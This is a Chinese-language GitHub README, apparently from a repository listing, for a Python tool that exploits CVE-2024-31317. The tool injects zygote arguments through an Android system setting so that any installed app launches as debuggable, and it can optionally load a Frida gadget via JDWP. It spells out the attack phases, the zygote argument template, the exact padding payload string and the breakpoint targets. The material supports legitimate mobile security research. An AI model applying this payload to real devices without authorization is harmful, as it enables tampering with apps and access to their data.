CleoV2/Debuggable-App-Exploit

GitHub: CleoV2/Debuggable-App-Exploit

针对 CVE-2024-31317 漏洞的 Python 利用工具,通过 Zygote 命令注入使任意 Android 应用变为可调试状态,并可选注入 Frida gadget 实现运行时 Hook。

Stars: 8 | Forks: 1

# CVE-2024-31317 可调试应用漏洞利用 一个基于 Python 的 CVE-2024-31317 (Android Zygote 注入) 漏洞利用工具,通过 `hidden_api_blacklist_exemptions` 设置注入恶意 zygote 参数,从而使任何已安装的 Android 应用变为可调试状态。包含可选的 Frida gadget 注入功能,用于运行时 hook。 ## 概述 该漏洞利用利用了 Android Zygote 进程中的命令注入漏洞,通过启用 `debuggable` 标志启动目标应用程序。这允许对任何应用进行 JDWP 调试和检查,而无需 root 权限或应用的调试版本。 **基于以下研究:** [Flanker's CVE-2024-31317 分析](https://blog.flanker017.me/cve-2024-31317/) 核心洞察:*"ZygoteArguments 中的 runtime-flags 字段实际上可以用来启用应用程序的 debuggable 属性。" ## 功能特性 - **自动检测模式** - 自动检测目标应用的 UID、指令集和数据目录 - **可调试标志注入** - 设置 `runtime-flags=65535` 以启用调试 - **JDWP 转发** - 漏洞利用后自动设置 JDWP 端口转发 - **Frida gadget 注入** - 可选择通过 JDWP 注入 Frida 以进行运行时 hook - **智能断点** - 使用无需用户交互即可自动触发的可靠断点 - **自动安装调试应用** - 如果不存在辅助应用则自动安装 ## 系统要求 - 存在 CVE-2024-31317 漏洞的 Android 设备(2024 年 6 月安全补丁之前) - 已安装 ADB 并启用 USB 调试 - Python 3.10+ - 依赖包:`ppadb`, `jdwplib` ## 安装 将以下文件放置在同一目录下: ``` ├── CVE-2024-31317-Debuggable.py # Main exploit script ├── jdwplib.py # JDWP client library ├── app-debug.apk # Debuggable helper app ├── frida-gadget-android-*.so # Frida gadget (optional) ├── frida-gadget.config.so # Frida config (optional) └── win32/adb.exe # Windows ADB binary ``` ## 用法 ### 基本用法 ``` python CVE-2024-31317-Debuggable.py ``` 脚本将提示您选择参数检测模式: ``` ================================================== CVE-2024-31317 Exploit ================================================== [1] Auto-detect parameters [2] Hardcoded values Mode (1/2) [1]: ``` ### 执行流程 1. **阶段 1:提取 startSeq** - 启动一个可调试的辅助应用 - 通过 JDWP 连接并从堆栈帧中提取 `startSeq` 值 - 关闭辅助应用 2. **阶段 2:注入 Zygote 参数** - 构建带有 `runtime-flags=65535` (可调试) 的恶意 zygote 参数 - 将 payload 注入到 `hidden_api_blacklist_exemptions` 设置中 - 强制停止并使用注入的参数重启目标应用 3. **阶段 3:后渗透** - 设置 JDWP 端口转发 - 可选择注入 Frida gadget 进行运行时 hook ### 示例输出 ``` ================================================== CVE-2024-31317 Exploit ================================================== [1] Auto-detect parameters [2] Hardcoded values Mode (1/2) [1]: 1 [INFO] Phase 1: Extract startSeq [INFO] com.debug.app already installed [INFO] Setting debuggable [INFO] Starting com.debug.app/.MainActivity [INFO] PID: 12345 [INFO] JDWP port: 8700 [INFO] Suspending VM [INFO] Scanning 42 frames [INFO] startSeq: 123456 [INFO] Phase 2: Exploit com.debug.configurator [INFO] Detecting parameters for com.debug.configurator [INFO] UID: 10242 [INFO] Arch: arm64 [INFO] Data: /data/user/0/com.debug.configurator [INFO] Android 13 [INFO] Payload: 8765 bytes [INFO] Restarting target [INFO] Done [INFO] Target PID: 23456 [INFO] JDWP: 8701 Inject Frida? (y/N): ``` ## 配置 ### 目标应用 编辑脚本顶部的常量: ``` TARGET_APP = "com.debug.configurator" # Change to your target package DEBUG_APP = "com.debug.app" # Helper debuggable app DEBUG_APK = "app-debug.apk" # APK file for helper app ``` ### 自动检测 vs 硬编码 **自动检测模式 (推荐):** - 使用 `pm list packages -U` 获取 UID - 使用 `dumpsys package` 获取指令集和数据目录 - 在不同设备上更可靠 **硬编码模式:** - 使用默认值 (UID=10242, arm64 等) - 更快,但如果设备与默认值不同则可靠性较低 ## Frida Gadget 注入 漏洞利用成功后,您可以选择注入 Frida gadget: ``` Inject Frida? (y/N): y ``` 脚本将会: 1. 将 `frida-gadget.so` 推送到 `/data/local/tmp/` 2. 通过 `run-as` 复制到应用的数据目录 3. 设置断点并通过 JDWP 加载 gadget 4. 转发端口 27042 和 27043 ### 断点目标 脚本按可靠性顺序尝试以下断点: | 类 | 方法 | 触发方式 | |-------|--------|---------| | `android.os.MessageQueue` | `next` | 自动 - 主 looper 持续轮询 | | `android.os.Binder` | `execTransact` | 自动 - 任何 IPC/binder 调用 | | `android.app.ActivityThread` | `handleMessage` | 自动 - 应用的主 handler | | `android.os.Handler` | `dispatchMessage` | 自动 - 消息分发 | | `android.os.Handler` | `handleMessage` | 自动 - 消息处理 | | `android.view.Choreographer` | `doFrame` | 自动 - 帧回调 | | `android.view.View` | `dispatchTouchEvent` | 手动 - 需要触摸 | | `android.view.View` | `onDraw` | 手动 - 需要 UI 重绘 | 顶部的断点应自动触发。如果超时,请点击应用以触发备用断点。 ### 连接到 Frida 注入成功后: ``` # 连接到 gadget frida -H 127.0.0.1:27042 -n Gadget # 列出进程 frida-ps -H 127.0.0.1:27042 ``` ## 漏洞利用之后 漏洞利用成功后,目标应用将在启用调试的状态下运行: 1. **使用 JDWP 调试器连接:** jdb -attach localhost:8701 2. **使用 Android Studio 调试器** - 附加到转发端口上的进程 3. **使用 Frida** - 如果通过脚本注入了 gadget ## 工作原理 ### 漏洞概述 CVE-2024-31317 是 Android Zygote 进程中的一个命令注入漏洞。通过使用特制输入操纵 `hidden_api_blacklist_exemptions` 系统设置,我们可以在应用启动时注入任意 zygote 参数。 ### 关键组件 1. **startSeq 提取**:每次应用启动都有一个唯一的序列号。我们通过 JDWP 检查堆栈帧变量,从一个可调试的应用中提取此值。 2. **Payload 构建**:我们构建 zygote 参数,包括: --runtime-args --setuid= --setgid= --runtime-flags=65535 # 启用所有调试标志 --mount-external-default --target-sdk-version=35 --setgroups=3003 --nice-name= --seinfo=default:targetSdkVersion=30:complete --instruction-set= --app-data-dir= --package-name= --is-top-app --bind-mount-data-dirs android.app.ActivityThread seq= 3. **注入**:Payload 被注入到具有特定填充(针对 Android 12+)的系统设置中: payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400 4. **触发**:强制停止并重启目标应用,该应用将使用我们注入的参数和启用的可调试标志启动。 ### 通过 JDWP 进行 Frida 注入 Frida 注入的工作原理: 1. 通过 JDWP 连接到可调试应用 2. 在一个常用方法上设置断点 3. 当断点命中时,使用 `Runtime.load()` 加载 Frida gadget 共享库 4. Gadget 初始化并开始在端口 27042 上监听 ## 局限性 - 仅适用于存在 CVE-2024-31317 漏洞的设备(2024 年 6 月安全补丁之前) - 不是 root 漏洞利用 - 仅提供对目标应用的可调试访问权限 - Frida 注入要求应用正在运行并命中断点 - 一些高度混淆的应用可能会阻止 Frida hook ## 故障排除 **"Failed to get startSeq"** - 确保调试应用已正确签名且可安装 - 尝试重新运行漏洞利用程序 **Frida 注入期间 "No breakpoint hit"** - 点击应用以触发触摸/绘制断点 - 确保应用处于前台 **Frida 连接被拒绝** - 验证端口转发:`adb forward --list` - 重新运行端口转发:`adb forward tcp:27042 tcp:27042` ## 致谢 - **[Flanker (flanker017)](https://blog.flanker017.me/)** - CVE-2024-31317 的原创研究和详细文章 - **typlo** - 用于通过 JDWP 检查查找 startSeq 的代码片段 - **[Anonymous941](https://github.com/Anonymous941/zygote-injection-toolkit)** - Zygote 注入工具包参考实现 - **Meta X Red Team** - 原始漏洞发现和披露 ## 参考资料 - [CVE-2024-31317 详细分析 - Flanker](https://blog.flanker017.me/cve-2024-31317/) - [Meta 安全公告](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html) - [InfoSec 文章](https://infosecwriteups.com/exploiting-android-zygote-injection-cve-2024-31317-d83f69265088) - [Anonymous941 的 Zygote 注入工具包](https://github.com/Anonymous941/zygote-injection-toolkit) - [Frida 文档](https://frida.re/docs/) ## 免责声明 本工具仅供教育和授权安全研究目的使用。仅在他您拥有或获得明确书面许可进行测试的设备上使用。未经授权访问计算机系统是非法和不道德的。作者不对本工具的任何滥用行为负责。 ## 许可证 MIT 许可证 - 详见 LICENSE 文件。
标签:ADB, Android 安全, API接口, App 安全测试, CVE-2024-31317, Cybersecurity, Docker支持, Frida, hidden_api, Hook 技术, JDWP, Python, Runtime Manipulation, Zygote 注入, 代码生成, 协议分析, 命令注入, 提权漏洞, 无后门, 权限提升, 渗透测试工具, 目录枚举, 移动安全, 调试绕过, 逆向工具